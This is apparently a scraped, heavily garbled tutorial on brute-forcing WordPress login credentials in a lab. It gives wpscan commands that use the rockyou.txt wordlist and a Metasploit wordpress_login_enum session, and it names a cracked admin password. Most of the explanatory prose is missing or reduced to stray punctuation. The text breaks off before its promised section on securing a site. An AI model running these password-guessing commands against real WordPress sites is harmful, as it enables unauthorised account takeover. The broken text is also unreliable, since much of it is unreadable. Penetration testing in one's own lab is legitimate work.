🤜🏾 👆🏿 🕎 Various WordPress Brute Force Attack Methods 🙆🏽 👇🏻 💟

In this article, you will learn how to hack WordPress site credentials using various brute force attacks.

Content:

Prerequisites
WPscan
Metasploit
Burp Suite
How to secure a site from brute force?

Prerequisites

Website powered by WordPress. Here we will use our own laboratory for penetration testing , the creation of which was dedicated to our previous post.
Kali Linux (WPscan). WPScan , Kali Linux .
Burp Suite (Intruder). .

WPscan

WPscan – , « ». WPscan Linux, , .

WordPress, .

, Kali Linux

rockyou.txt, Kali Linux 14 341 564 .

wpscan --url http://192.168.1.100/wordpress/ -U users.txt -P /usr/share/wordlists/rockyou.txt

–URL — URL-, URL- - WordPress .
-U , users.txt
-P rockyou.txt

. , .

admin flower.

Metasploit

Metasploit Kali Linux. Metasploit, WordPress. msf . , .

msf > use auxiliary/scanner/http/wordpress_login_enum
msf auxiliary(wordpress_login_enum) > set rhosts 192.168.1.100
msf auxiliary(wordpress_login_enum) > set targeturi /wordpress
msf auxiliary(wordpress_login_enum) > set user_file user.txt
msf auxiliary(wordpress_login_enum) > set pass_file pass.txt
msf auxiliary(wordpress_login_enum) > exploit

, :